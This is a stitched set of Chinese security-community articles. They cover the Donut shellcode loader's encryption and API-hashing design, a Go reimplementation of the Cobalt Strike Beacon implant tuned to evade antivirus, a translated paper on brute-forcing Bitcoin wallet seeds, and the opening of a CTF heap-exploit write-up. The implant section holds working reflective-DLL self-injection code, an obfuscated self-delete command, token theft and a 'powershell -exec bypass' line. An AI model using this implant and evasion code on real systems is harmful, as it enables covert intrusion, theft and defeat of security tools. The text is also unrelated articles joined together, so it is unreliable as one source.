LoadLibraryA_t LoadLibraryA;
GetProcAddress_t GetProcAddress;
VirtualAlloc_t VirtualAlloc;
VirtualFree_t VirtualFree;
// imports from oleaut32.dll
SafeArrayCreate_t SafeArrayCreate;
SafeArrayCreateVector_t SafeArrayCreateVector;
SafeArrayPutElement_t SafeArrayPutElement;
SafeArrayDestroy_t SafeArrayDestroy;
SysAllocString_t SysAllocString;
SysFreeString_t SysFreeString;
// imports from wininet.dll
InternetCrackUrl_t InternetCrackUrl;
InternetOpen_t InternetOpen;
InternetConnect_t InternetConnect;
InternetSetOption_t InternetSetOption;
InternetReadFile_t InternetReadFile;
InternetCloseHandle_t InternetCloseHandle;
HttpOpenRequest_t HttpOpenRequest;
HttpSendRequest_t HttpSendRequest;
HttpQueryInfo_t HttpQueryInfo;
// imports from mscoree.dll
CorBindToRuntime_t CorBindToRuntime;
CLRCreateInstance_t CLRCreateInstance;
};
#endif
} api;
// GUID required to load .NET assembly
GUID xCLSID_CLRMetaHost;
GUID xIID_ICLRMetaHost;
GUID xIID_ICLRRuntimeInfo;
GUID xCLSID_CorRuntimeHost;
GUID xIID_ICorRuntimeHost;
GUID xIID_AppDomain;
DONUT_INSTANCE_TYPE type; // PIC or URL
struct {
char url[DONUT_MAX_URL];
char req[16]; // just a buffer for "GET"
} http;
uint8_t sig[DONUT_MAX_NAME]; // string to hash
uint64_t mac; // to verify decryption ok
DONUT_CRYPT mod_key; // used to decrypt module
uint64_t mod_len; // total size of module
union {
PDONUT_MODULE p; // for URL
DONUT_MODULE x; // for PIC
} module;
} DONUT_INSTANCE, *PDONUT_INSTANCE;
## 0x04 Donut模块
.NET使用模块（Module）这种数据结构来存储程序集。模块可以与实例（Instance）一起存储，或者存放在shellcode能够提取的staging服务器上。模块中包含程序集、类名、方法以及可选参数。`sig`值包含随机8字节字符串，当使用`Maru`哈希函数处理时，会生成64bit值，该值与`mac`值相等。这种方式可以用来验证模块的解密是否成功。模块秘钥存放在内嵌于shellcode的实例中。
// everything required for a module goes into the following structure
typedef struct _DONUT_MODULE {
DWORD type; // EXE or DLL
WCHAR runtime[DONUT_MAX_NAME]; // runtime version
WCHAR domain[DONUT_MAX_NAME]; // domain name to use
WCHAR cls[DONUT_MAX_NAME]; // name of class and optional namespace
WCHAR method[DONUT_MAX_NAME]; // name of method to invoke
DWORD param_cnt; // number of parameters to method
WCHAR param[DONUT_MAX_PARAM][DONUT_MAX_NAME]; // string parameters passed to method
CHAR sig[DONUT_MAX_NAME]; // random string to verify decryption
ULONG64 mac; // to verify decryption ok
DWORD len; // size of .NET assembly
BYTE data[4]; // .NET assembly file
} DONUT_MODULE, *PDONUT_MODULE;
## 0x05 随机秘钥
在Windows上，[CryptGenRandom](https://docs.microsoft.com/en-us/windows/desktop/api/wincrypt/nf-wincrypt-cryptgenrandom)可以生成密码学上安全的随机值，在Linux上，我们可以使用`/dev/urandom`（不使用`/dev/random`，该设备会阻塞读取请求）。Thomas
Huhn在关于`urandom`的一篇[文章](https://www.2uo.de/myths-about-urandom)中提到`/dev/urandom`是Linux上随机数据流的首选。我们在Donut中使用[CreateRandom](https://github.com/TheWover/donut/blob/master/donut.c)来生成随机秘钥，建议大家参考使用。
## 0x05 随机字符串
除非用户手动指定，否则我们会使用随机字符串来生成应用程序域（Application
Domain）名。如果donut模块存放在staging服务器上，也会生成随机名。负责该操作的函数为[GenRandomString](https://github.com/TheWover/donut/blob/master/donut.c)，其中用到了`CreateRandom`生成的随机字节，配合“HMN34P67R9TWCXYF”字符串生成了最终字符串（这个魔术字符串来源于stackoverflow上的一篇[帖子](https://stackoverflow.com/a/27459196)）。
## 0x06 对称加密
对合（involution）函数是指自己是自己逆函数的函数，许多工具会使用对合函数来混淆代码。如果大家之前逆向分析过恶意软件，那么肯定对异或（XOR）函数非常熟悉，这种函数非常简单，使用场景也非常广泛。此外，[Noekeon](https://tinycrypt.wordpress.com/2017/01/11/asmcodes-noekeon/)分组加密是一种非线性加密，也是较为复杂的对合方式。Donut并没有使用对合加密方式，而是使用[Chaskey](https://mouha.be/chaskey/)分组密码（Counter（CTR）模式）来加密模块，其中解密秘钥内嵌在shellcode中。如果Donut模块来自于staging服务器，那么想知道其中所包含的具体信息的唯一方法就是恢复shellcode，寻找`CreateRandom`函数的脆弱点或者打破Chaskey加密算法。
static void chaskey(void *mk, void *p) {
uint32_t i,*w=p,*k=mk;
// add 128-bit master key
for(i=0;i<4;i++) w[i]^=k[i];
// apply 16 rounds of permutation
for(i=0;i<16;i++) {
w[0] += w[1],
w[1] = ROTR32(w[1], 27) ^ w[0],
w[2] += w[3],
w[3] = ROTR32(w[3], 24) ^ w[2],
w[2] += w[1],
w[0] = ROTR32(w[0], 16) + w[3],
w[3] = ROTR32(w[3], 19) ^ w[0],
w[1] = ROTR32(w[1], 25) ^ w[2],
w[2] = ROTR32(w[2], 16);
}
// add 128-bit master key
for(i=0;i<4;i++) w[i]^=k[i];
}
之所以选择使用Chaskey算法，是因为该算法简洁紧凑，易于实现，并且不包含容易被检测的常量特征。Chaskey的主要缺点是使用人数较少，因此并没有像AES那样在密码学上被广泛分析。当2014发布Chaskey算法时，官方推荐的加密轮次为8次。2015年，已经有针对7轮加密的攻击技术出现，这表明官方推荐的加密轮次并不是一个足够安全的边界。针对此攻击，设计人员提高了加密轮次，建议使用12轮加密，这里Donut使用的是16轮加密的长期支持（LTS）版本。
## 0x07 API哈希
如果在内存扫描之前已经掌握API字符串哈希，那么Donut就非常容易被检测出来。我们[建议](https://modexp.wordpress.com/2017/08/05/shellcode-maru-hash/)在Windows
API哈希中使用分组加密方式，增加哈希过程中的熵（entropy），以便进一步规避针对代码的检测机制。Donut使用的是`Maru`哈希函数，该函数基于`Speck`分组加密算法，使用的是Davies-Meyer构建和填充方式，这种方式与MD4及MD5类似。Speck随机生成了一个64bit初始值（IV），以明文方式使用该值来加密，秘钥为API字符串。
static uint64_t speck(void *mk, uint64_t p) {
uint32_t k[4], i, t;
union {
uint32_t w[2];
uint64_t q;
} x;
// copy 64-bit plaintext to local buffer
x.q = p;
// copy 128-bit master key to local buffer
for(i=0;i<4;i++) k[i]=((uint32_t*)mk)[i];
for(i=0;i<27;i++) {
// donut_encrypt 64-bit plaintext
x.w[0] = (ROTR32(x.w[0], 8) + x.w[1]) ^ k[0];
x.w[1] = ROTR32(x.w[1],29) ^ x.w[0];
// create next 32-bit subkey
t = k[3];
k[3] = (ROTR32(k[1], 8) + k[0]) ^ i;
k[0] = ROTR32(k[0],29) ^ k[3];
k[1] = k[2]; k[2] = t;
}
// return 64-bit ciphertext
return x.q;
}
## 0x08 总结
Donut提供了通过shellcode实现CLR注入的一种方法，红队可以基于此建模，从攻击方和防御方角度构建分析和缓解的整体框架。这个过程中肯定会有恶意软件开发者和攻击人员会滥用这款工具，但我们坚信整体优点依然能弥补带来的不足（但愿如此），大家可以访问[此处](https://github.com/TheWover/donut)获取源代码。 | 社区文章 |
# 跨平台重构CobaltStrike的Beacon并行为对主流杀软免杀
## 背景
上个月的时候朋友发给了我 [geacon](https://github.com/darkr4y/geacon)
这个项目，该项目使用Golang实现了Beacon的部分功能，我俩觉得这个项目还挺有意思的，就基于这个项目继续开发了，在适配Beacon大部分功能的同时进行了免杀层面上的修改。
我实现了一版适配4.1+版本的 [geacon_pro](https://github.com/H4de5-7/geacon_pro)
，他实现了一版适配4.0版本的 [geacon_plus](https://github.com/Z3ratu1/geacon_plus)
，大体功能相同，部分实现细节不一样。我们后续也会继续维护这个项目，同时把免杀的技术集成进来。
具体的注意事项师傅们可以移步项目，CobaltStrike底层的协议鸡哥以及很多师傅已经做了解析，这里以实现的细节为主，大概说一下我们重构时候的思路以及部分功能的实现细节。
## 整体的思路
重构的时候需要考虑以下几个点：
1、CobaltStrike的通信协议：
通信说白了就是按照某种协议进行发包与解析，与传统分析底层协议不同，重构的时候还需要分析每条指令是做什么的、以及服务端下发的内容是什么、我们应该用什么方式去解析内容。
2、跨平台：
由于是跨平台重构的，需要综合考虑各平台，尽量可跨平台的方法或者库，这样可以避免重复的功能实现。
3、功能与行为免杀的实现：
虽说是重构，但是很多地方原封不动照搬CobaltStrike的实现并不是很好，而且实现的语言也不一样。同时需要结合实际来保证功能与行为的免杀性。
4、稳定性：
重构的一个难点就是如何保证木马的稳定性，因为实战中木马的意外退出是不可被容忍的，不过这个就需要很多次的测试了。
5、体积：
go有一个很大的问题就是体积有点大，因此在重构的时候需要尽可能少地调用庞大、冗杂的库。
## 命令的执行
shell、run、execute是CobaltStrike最重要的功能之一，区别在于shell调用cmd，run调用执行的程序本身，而execute无回显。
geacon基于go的os/exec实现了跨平台的shell，但是我们在开发的时候发现golang的底层库并不是很稳定，在windows平台下执行部分命令的时候会突然崩溃。同时考虑到os/exec库的cmd不支持Token的使用，无法实现令牌的窃取，因此我们将命令执行的实现更改为了windows
api
CreateProcess。首先会判断当前是否有窃取/制作的Token，若有的话则用CreateProcessWithTokenW以Token权限来执行，没有的话则用CreateProcess执行。
shell和run在执行之后会用管道将结果回传给geacon_pro，而execute不会。
Linux和Mac平台下就用/bin/bash来执行。
## powershell
powershell在Beacon原生的实现中是base64编码执行的，以whoami为例：
`powershell -nop -exec bypass -EncodedCommand dwBoAG8AYQBtAGkA`
但是熟悉渗透的师傅都知道杀软对powershell命令的执行监控的相当严，很多命令都需要进行混淆来绕过，CobaltStrike提供了powerpick这个命令来内存中免杀执行powershell命令，我这边提供了一个小工具
[powershell-bypass](https://github.com/H4de5-7/powershell-bypass) 并以execute-assembly执行达成免杀执行powershell命令的作用。
免杀的思路很简单其实，很久之前就有了，用C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation目录下面的System.Management.Automation.dll执行底层api来绕过杀软对powershell的监控。
## powershell-import
Beacon中有一个导入powershell模块的功能，将powershell后渗透利用框架导入到内存中方便后续的利用。
我们的实现思路大致与Beacon类似，在目标主机上开一个端口放上module的内容，在下次要执行powershell命令的时候下载该端口的module内容并进行不落地的执行，不落地的执行可以规避部分杀软的查杀。
但是导入模块我记得在部分windows系统中是默认不开启的，需要以管理员权限允许模块的导入。
## execute-assembly
execute-assembly是在内存中执行C#程序，用不落地执行来绕过杀软的查杀，在实战中很常用。
execute-assembly在原生CobaltStrike中的实现如下：
服务端下发的主体内容为patch过的用于开环境的反射型dll、.NET程序、执行的参数
1、用CreateProcess拉起来一个rundll32.exe（默认）进程
2、服务端下发patch之后的反射型dll，Beacon将该反射型dll注入到1中的进程中并执行，该dll的作用是开.NET的环境。
3、Beacon之后把.NET程序注到1的进程中并执行。
考虑到过于麻烦、某些杀软会查杀远程线程注入的操作、并且容易拿不到执行的回显，我们没采用Beacon的实现，而是用
[该项目](https://github.com/timwhitez/Doge-CLRLoad) 实现了go的原生execute-assembly。
## 原生反射型dll注入
反射型dll注入是很流行的一个后渗透手段，通过找到ReflectiveLoader函数的位置并执行dll达成不落地执行，师傅们有兴趣的话可以去看看这个[项目](https://github.com/stephenfewer/ReflectiveDLLInjection)
，是反射型dll注入技术的起源项目。
基于该项目写的反射型dll是没有被patch的，需要手动找ReflectiveLoader函数的位置，而CobaltStrike原生的dll是被patch过的，可以直接当成shellcode来执行。
解包cobaltstrike.jar包后可发现在sleeve目录下有很多dll文件，并根据目标是x64或者x86来注入对应的反射型dll。
这些dll文件是加密了的，网上有解密的脚本。
CobaltStrike为了追求稳定性，很多操作都是采用的fork&&run，即先用CreateProcess新建一个进程（默认是rundll32.exe），之后把shellcode/patch过后的反射型dll注入到该进程中。
以screenshot.dll为例，里面包含了屏幕截图与管道回传结果的代码。服务端对其解密后下发到Beacon，Beacon用线程注入将其注入到拉起的进程中来执行。然后服务端下发一条命令让Beacon通过管道读取执行的结果，之后将读取到的结果回传给服务端。
不过很多杀软对fork&&run这种远程注入到其他进程的行为进行了监控，以360核晶为例会报远程线程注入的可疑行为。
为了规避这个被监控的点，我们尝试用注入自己的方式来执行shellcode/patch之后的反射型dll，然后通过管道来异步读取结果，发现稳定性也还不错。
我们发现所有原生反射型dll都有一个特点，就是会在最后调用ExitProcess来终止fork出来的进程。
如果注入自己的话肯定不能用ExitProcess关掉geacon_pro进程，因此我们做了一个简单的patch，将服务端下发的反射型dll中的ExitProcess更换为ExitThread\x00仅让其退出当前的线程。
## 进程注入
进程注入有shinject、dllinject两种。
区别在shinject注入shellcode到其他的进程中，而dllinject注入反射型dll到其他的进程中。
在实现的时候我们发现这两种命令的下发格式是一样的，因此我们对下发的内容进行判断，如果存在有reflectiveloader字样就认为是dllinject注入，反之是shinject注入。但由于目前dllinject其他的进程并不是很稳定，暂时只支持注入到自身。
与上文所说的原生反射型dll不同，好像CobaltStrike并不会patch用户上传的反射型dll，即dllinject和cna中自定义反射型dll是需要我们手动patch的，因此我们在处理非原生反射型dll的时候先找到ReflectiveLoader的位置，然后注入，同时还有考虑有参数的情况，这里用CreateThread将参数传入：
func DllInjectSelf(params []byte, b []byte) ([]byte, error) {
p, err := pe.NewFile(bytes.NewReader(b))
if err != nil {
return nil, err
}
ex, e := p.Exports()
if e != nil {
return nil, err
}
var RDIOffset uintptr
for _, exp := range ex {
if strings.Contains(strings.ToLower(exp.Name), "reflectiveloader") {
RDIOffset = uintptr(rvaToOffset(p, exp.VirtualAddress))
}
}
process, err := windows.GetCurrentProcess()
if err != nil {
return nil, err
}
if string(params) == "\x00" {
ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if ba == 0 {
fmt.Println("VirtualAlloc Failed")
return nil, errors.New("VirtualAlloc Failed")
}
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
_, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
writeMem(ba, b)
Ldr := ba + RDIOffset
oldProtect := windows.PAGE_READWRITE
_, _, err = VirtualProtect.Call(ba, uintptr(len(b)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
thread, _, err := CreateThread.Call(0, 0, Ldr, 0, 0, 0)
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
_, _, err = WaitForSingleObject.Call(thread, 1000)
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
return []byte("DllInject success"), nil
}
ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)+len(params)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if ba == 0 {
fmt.Println("VirtualAlloc Failed")
return nil, errors.New("VirtualAlloc Failed")
}
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
_, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
_, _, err = RtlCopyMemory.Call(ba+uintptr(len(b)), (uintptr)(unsafe.Pointer(¶ms[0])), uintptr(len(params)))
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
writeMem(ba, b)
Ldr := ba + RDIOffset
oldProtect := windows.PAGE_READWRITE
_, _, err = VirtualProtect.Call(ba, uintptr(len(b)+len(params)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
thread, _, err := CreateThread.Call(0, 0, Ldr, uintptr(unsafe.Pointer(¶ms[0])), 0, 0)
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
_, _, err = WaitForSingleObject.Call(thread, 1000)
if err != nil && err.Error() != "The operation completed successfully." {
return nil, err
}
return []byte("DllInject success"), nil
}
这里要感谢timwhitez师傅及[该项目](https://github.com/timwhitez/Doge-RL)的帮助！
## 令牌
Token的部分实现了窃取、制作、还原。
main.go中会保存一个uintptr类型的Token，如果是默认令牌的话是0，如果成功窃取了令牌则将Token赋为该令牌。窃取之后会用windows
api
ImpersonateLoggedOnUser模拟上下文的令牌权限，此时执行getuid的话权限已经改变，不过由于上下文的权限不会影响其他的进程，因此shell、run、execute等需要创建其他进程的功能需要用CreateProcessWithTokenW。
## 上线内网不出网的主机
考虑到渗透中常常存在着内网主机上线的情况，即边缘主机出网，内网主机不出网的情况。由于go的体积限制，目前我们未实现代理转发的功能，但是可以通过设置config.go中的proxy参数，通过边缘主机的代理进行木马的上线。即如果在边缘主机的8080端口开了个http代理，那么在config.go中设置ProxyOn为true，Proxy为`http://ip:8080`即可令内网的木马上线我们的C2服务器。
## 堆内存加密
Beacon的实现中有堆内存加密这个功能，即在sleep之前将内存中数据加密，sleep之后再解开，可以避免杀软对内存的扫描。
堆内存加密的方法实现参考了该文章。即在sleep之前先将除主线程之外的线程挂起，之后遍历堆对堆内存进行加密。sleep结束后解密并将线程恢复。不过该功能较为不稳定，有时在进行堆遍历的时候会突然卡住或者直接退出，并且考虑到后台可能会有keylogger或portscan这种的持久任务，将线程全部挂起有些不合适，如果有师傅有好的想法欢迎来讨论。同时我不太理解为什么go的time.Sleep函数在其他线程都挂起之后调用会一直沉睡，而调用windows.SleepEx就不会有问题，还望师傅们解答。我个人感觉go部分原生库的实现仍存在部分的bug。
## 字符集
CobaltStrike在服务端与Beacon通信的时候协商了字符集类型，如windows默认的是GBK，linux则是UTF-8。但是用go重构会有一个比较麻烦的问题，go对字符串的处理默认是UTF-8，但有时windows通信时服务端下发的命令中包含中文，由于是GBK无法进行正常的处理。因此我们做了一个统一，各平台默认的协商字符集均为UTF-8，这样避免了冗杂的处理环节，仅在回传的时候对执行的结果进行了判断，如果是GBK就先转换成UTF-8再回传：
func CodepageToUTF8(b []byte) ([]byte, error) {
if !utf8.Valid(b) {
reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
return b, nil
}
func DataProcess(callbackType int, b []byte) {
result := b
var err error
if callbackType == 0 {
result, err = CodepageToUTF8(b)
if err != nil {
ErrorProcess(err)
}
}
finalPaket := MakePacket(callbackType, result)
_, err = PushResult(finalPaket)
if err != nil {
ErrorProcess(err)
}
}
这里我们对callbackType进行了限制，因为有部分命令如ps、ls会对结果进行padding，这样可能会让utf8.Valid()把UTF-8的结果认为是GBK而进行错误的字符集转换。
## 自删除
CobaltStrike貌似没有做自删除的功能，我们添加了不同平台下的自删除功能。
windows平台下由于进程未退出的时候是无法自己删除自己的，常用的方法有bat与远程线程注入。
远程线程注入的缺点前面也提到了容易被杀软监控，因此我们这里简化了一下bat自删除，用CreateProcess新起了一个进程，在原进程执行完之后删除它：
func DeleteSelf() ([]byte, error) {
var sI windows.StartupInfo
var pI windows.ProcessInformation
sI.ShowWindow = windows.SW_HIDE
filename, err := os.Executable()
if err != nil {
return nil, err
}
program, _ := syscall.UTF16PtrFromString("c" + "m" + "d" + "." + "e" + "x" + "e" + " /c" + " d" + "e" + "l " + filename)
err = windows.CreateProcess(
nil,
program,
nil,
nil,
true,
windows.CREATE_NO_WINDOW,
nil,
nil,
&sI,
&pI)
if err != nil {
return nil, errors.New("could not delete " + filename + " " + err.Error())
}
err = windows.SetPriorityClass(pI.Process, windows.IDLE_PRIORITY_CLASS)
if err != nil {
return nil, err
}
return []byte("success delete"), nil
}
## C2profile
我们实现了大部分流量侧的设置以及部分主机侧的设置。
C2profile的实现其实并不难，难点在于完备的测试，因为每种设置都可能会有很多种排列组合的方式。
## 流量检测的规避
目前还没有做流量的混淆，但是有两个小思路吧（也不知道对不对）：
1、hook服务端cobaltstrike.jar包，让使用者可以自己来定义编码/加密的算法（类似于冰蝎4.0）而不局限于C2profile里面的几种算法。
2、无规律随机发送正常的流量，扰乱对时序层面上流量特征的检测。
如果有师傅有想法及建议，欢迎来讨论！ | 社区文章 |
# 比特币钱包破解：我要你钱包里的一切
##### 译文声明
本文是翻译文章，文章原作者 xilesou，文章来源：sciencedirect.xilesou.top
原文地址：<https://sciencedirect.xilesou.top/science/article/pii/S0167739X18302929>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Introduction
比特币钱包是私钥和公钥的集合，通过它们可以成功完成资金转移。换句话说，比特币钱包是恶意行为者获得对个人比特币控制权的单点故障或攻击媒介。曾有几起引人注目的事件，其中比特币钱包遭到破坏，造成的损失达数百万美元。比特币钱包中唯一的安全形式是为每个比特币钱包提供的密钥。
此实现的缺点来自存储在比特币钱包中的私钥。如果恶意行为者可以访问该比特币钱包，则他们可以使用该私钥来控制该用户的比特币。比特币基础设施使用私钥作为认证关联比特币地址拥有的任何比特币所有权的方式。如果私钥丢失，所有所有权也将丢失。
本文研究了两种流行的比特币热钱包，即：Multibit
HD和Electrum。每种钱包都有设计缺陷，并可以对这两个钱包中存储的比特币的未授权访问，受密码漏洞利用（ _password exploit_
）和恢复钱包漏洞利用（ _restore wallet exploit_ ）的威胁。研究结果表明，可以通过离线暴力破解密码尝试访问Multibit
HD和Electrum钱包。一旦找到密码就有可能恢复其中包含所有比特币的钱包。
研究设置包括三个阶段，其中前两个阶段用于实验设置，而第三阶段则主要从终端用户角度进行。三个阶段设置如下：
## 0x02 Bitcoin wallet
比特币钱包与银行账户或网络钱包非常相似。它使软件可以创建一对密钥：一个私钥和一个公钥。密钥生成是该过程的重要组成部分。对于用户而言，它应该很容易记住，但其他人很难正确猜到。公钥将被生成为一个地址，并用于区块链平台。但是，如果要公开地址，那么攻击者将可以暴破来简单猜测私钥，监视未使用的事务输出缓存（UTXO缓存）中是否有匹配的地址。因此，将资金存入类似地址的帐户存在风险。
为了避免发生此类盗窃，一种选择是使用安全私钥生成器，该生成器生成的密钥可能具有最大的随机数，并且具有较高的熵。许多生成钱包的软件（例如比特币）都使用此系统。这些钱包保留了仅对用户“可见”的密钥副本。这些钱包还允许用户通过生成新密钥并将其保存在钱包中的安全位置来备份其密钥。对于用户来说，安全备份自己的钱包并定期更换钥匙以最大程度地减少盗窃的可能性显然至关重要。比特币钱包和实体钱包之间存在许多差异，如下：
**A、控制** ：
实物钱包是有形物品，可以被单个人窃取，使用或拥有。它不能被复制或不需要保护性密码即可访问。另一方面，比特币钱包可以轻松地复制，并且使用它的用户可以识别其所有权。它具有保护性通用密钥，并且钱包的所有权属于拥有该保护性密钥的人，在这种情况下，该密钥为私钥。复制钱包会发生比特币欺诈，从而有效地“窃取”钱包。
**B、可用性** ：
由于有形性，一个实体钱包只能一次由一个人使用，因为一次只能存在一个钱包。相比之下，比特币钱包可以具有各种副本，并且可以从多个独特的设备进行访问。私钥和签名要求可以轻松转移到相应的驱动器，但是使用可能需要这些设备之间的协作。这使得比特币钱包易于访问，并且促进了比实体钱包更多类型的钱包。
**C、仅收款** ：
“仅收款”钱包也被称为“仅可查看”钱包，其中的资金只能收款而不能用。在不信任用户或需要监视钱包的情况下，向用户提供保护密钥（也称为公共密钥）的副本。仅当使用钥匙时，才能访问仅可查看钱包。
## 0x03 Phase 1
此阶段包括准备测试环境以及安装和配置必要的工具。为了准备测试环境,在实验中创建了一个新的Windows 7虚拟机（VM）， VM已配置有4 GB
RAM和500 Gb磁盘大小。还在虚拟机上增加了网络功能，以便可以利用另一个虚拟机的计算能力，第二个VM具有与第一个相同的配置。
下一步是安装和设置钱包（Multibit HD
v0.4.1）。创建钱包时，应拍摄钱包单词和日期戳的屏幕快照，执行该步骤以将最终结果与初始钱包单词进行比较。接下来安装了Cheat
Engine，这是一个开源内存扫描器/ hex编辑器/调试器。该工具使可以搜索用户使用多种选项输入的值，以及查找和排序设备的内存，下表为使用工具：
## 0x04 Phase 2
第二阶段是设置和创建用于破解钱包单词的软件包。在实验中执行了作弊引擎软件，在作弊引擎中选择了“值类型”作为字符串，并扫描了Multibit
HD钱包单词中的随机关键字。浏览关键字结果的存储位置后可以看到其他几个英语词典单词。使用作弊引擎从Multibit
HD提取了总共2053个字典单词。下图显示了在内存分析中发现的字典单词，这些单词被收集并编译到数据库中，称其为字典数据库。
此阶段的下一步是创建攻击者程序包。本文中选择的钱包是一个托管在用户个人计算机上的桌面应用程序，在创建时，钱包建议使用12种子密码。用户可以使用生成的密码或12种子密码来访问资金。后者是来自在钱包应用程序中加密的2100个词典单词中12/24个单词的组合。经过多方面的考虑和可能性的尝试，破解钱包的可用选项是识别字典并尝试所有可能的组合。
上面确定的解决方案涉及以下步骤：
•提取字典
•创建字典文件的组合
•检查正确的密码
要实现上述三个步骤，选择破解密码的过程是离线暴破攻击，这是一个反复试验的模型，非常耗时。它涉及尝试序列中所有可能的字符组合以破解加密网关。所需时间随复述中涉及的字符或单词的数量而变化。反向暴破（即当知道密码并应标识用户时）相对而言需要更少的时间来成功，但这不适用于本实验。
使用从钱包应用程序中提取的2100个单词集（以下称为“数据集”）作为软件包的输入，以生成可用于离线暴破攻击的字典文件。巨大的数据集需要在服务器上维护一个标准的stanalone数据库。
## 0x05 Phase 3
由于研究中的两个钱包都没有可用于存储密码的内置存储或云存储，因此排除了使用shell或批处理过程一次尝试破解具有多个条目的应用程序的可能性。换句话说，如果人们正在使用可用于存储密码的内置存储或云存储来检查比特币钱包，则使用自动脚本破解应用程序可能会更容易。
另外，正在研究的两个钱包都不是基于Web的应用程序，因此不可能使用面向对象的编程语言与Web元素进行交互。因此，选择了能够与桌面应用程序进行交互的应用程序，并创建了25行触发器以从提取的数据集中创建可能的组合。花费的时间比任何传统的密码破解方法都要多，但是台式机工具上具有BIP
32加密的安全钱包排除了许多其他更简单的选择。
也可以利用多台计算机或虚拟机（VM）加快攻击速度，这是本文中的方法。具体来说将独立服务器与在主机上并行运行的VM层配合使用，同时尝试破解钱包。使用的Java代码段生成的整个字典可以有效地在VM上平均分配，并且可以同时对钱包进行离线暴破。在尝试访问钱包的过程中，将保存可能成为任何钱包（不仅是当前钱包）真正组合的组合，以利于将来在其他钱包上进行暴力破解。
如前所述，随着所涉及的VM的增加，获得12单词的种子所需的时间减少。因此，主机和VM的配置得以改善，所涉及的内核数量，处理器时钟，RAM（分配的堆）数量增加了一倍。在实施升级以增强性能之前的主要考虑因素是对存储容量和存储速度的要求，可以通过更高的硬件规格（例如RAM芯片，硬盘驱动器（HDD）和处理器）来获得存储容量和存储速度。例如:
•内存容量：内存模块具有的更多千兆字节（GB），一个模块可以一次打开更多的程序。
•内存速度：RAM从处理器接收请求然后读取或写入数据所花费的时间。
如果在攻击过程中一个内存用完了，则可以将另一张磁盘用作替换（即交换）。更多的RAM内存意味着更多的指令可以放入该内存，因此，可以立即加载更大的程序。通过实施上述选项，发现可提高约80％。
## 0x06 Attack Result of MultiBit HD
在软件包中使用生成的字典文件作为攻击的输入，并且能够成功识别给定12个单词（种子）的多个组合。这会触发“next”按钮指示将钱包标记为组合的可能性。不过，由于该组合尚未在钱包应用程序附近（网络）的可用资源中分配给某个钱包，因此无法用于检索密码，随着提供给应用程序的组合数量的增加，已识别的有效组合的百分比逐渐降低。
为MultiBit
HD识别的有效组合还可以用于在安装钱包的设备损坏或丢失的情况下恢复钱包。此功能需要种子以及在生成钱包时提供的日期时间戳，这意味着在暴破攻击实施时生成的有效组合和时间戳。下图显示了Multibit
HD桌面钱包应用程序的结果。
## 0x07 Attack Result of Electrum
Electrum没有提供允许仅使用有效组合来还原钱包的时间戳功能，并且如果尚未将钱包分配给用户，则恢复过程将导致一个空的钱包。换句话说如果已将其分配给用户，则攻击者可以获得对钱包中所存储货币的未授权访问，这是在实验中设法实现的目标。
从上图中可以看出，对于给定的12单词词种子，给定的字典有效的组合数量在1.01％和10％之间。从结果中可以明显看出，为数据集生成有效组合数量（10的倍数）的函数与数量成反比，该函数趋向于>
1％。因此可以说明以合理的计算能力来利用此漏洞，能够获取对钱包的未授权访问。
## 0x08 Conclusion
在本文中研究了两个流行的比特币钱包Multibit和Electrum，并揭示了以前未知的安全漏洞。恶意行为者可能利用这些漏洞来访问这些钱包中的任何一个，并声明其中的比特币所有权。虽然此研究的结果仅限于这两个比特币钱包，但该研究的未来扩展包括设计更有效的软件，该软件能够在不同的操作系统上对更广泛的比特币钱包进行在线和离线暴破攻击（例如Android和iOS）。 | 社区文章 |
## BSides Delhi CTF 2018一道400分的pwn题
题目的名字叫做data_bank，是一个比较基础的国际赛的题但是利用这个题可以复习一下uaf关于泄漏地址和改写malloc_hook的知识。
### 程序功能分析
这里没有对程序进行去符号的处理还是很舒服的
可以大概知道，有add,edit,delete等常规的操作下面进行一一进行分析
##### add函数
这里是让我们自己输入index（顺序序列），然后自己决定大小，然后对我们的输入的size有一个check，然后是输入数据，其中get_inp就只是一个自定义的输入函数，其中没有什么特别这里就不截图出来了
##### edit函数
这是一个对堆内容在次进行编辑的一个函数，其中可能存在uaf的漏洞
##### delete函数
是一个正常的删除函数，有一个对Double free的检查所以并没有办法进行Double
free但是可以看见也没有对index的指针进行清空所以存在uaf的漏洞。
##### view函数
循环堆进行输入
##### exit函数
正常的退出函数
##### 保护查看
能开的保护基本是全上了
### 思路分析
先讲几个主要的保护绕过
##### pie绕过
首先我们申请一个small
bin大小的堆块，然后free掉，其会自己加入至unsortedbin中，fd_next和fd_back都会指向libc，这个时候我们再申请一个合适大小的堆块再view，就可以打印出地址了。（刚入啃的小白可以自己gdb调试一下）
##### RELRO绕过
这个保护导致我们不能成功对got表进行一个写的操作，但是我们可以利用对malloc_hook进行一个程序流的控制(ps:malloc_hook 是一个
libc 上的函数指针，调用 malloc 时如果该指针不为空则执行它指向的函数，可以通过写 malloc_hook 来 getshell）
#### 完整的利用过程
一、先进行信息泄漏，这个题目比较坑需要申请两个samll bin然后free掉才能有上图的效果，但是不论如何可以泄漏就可以啦
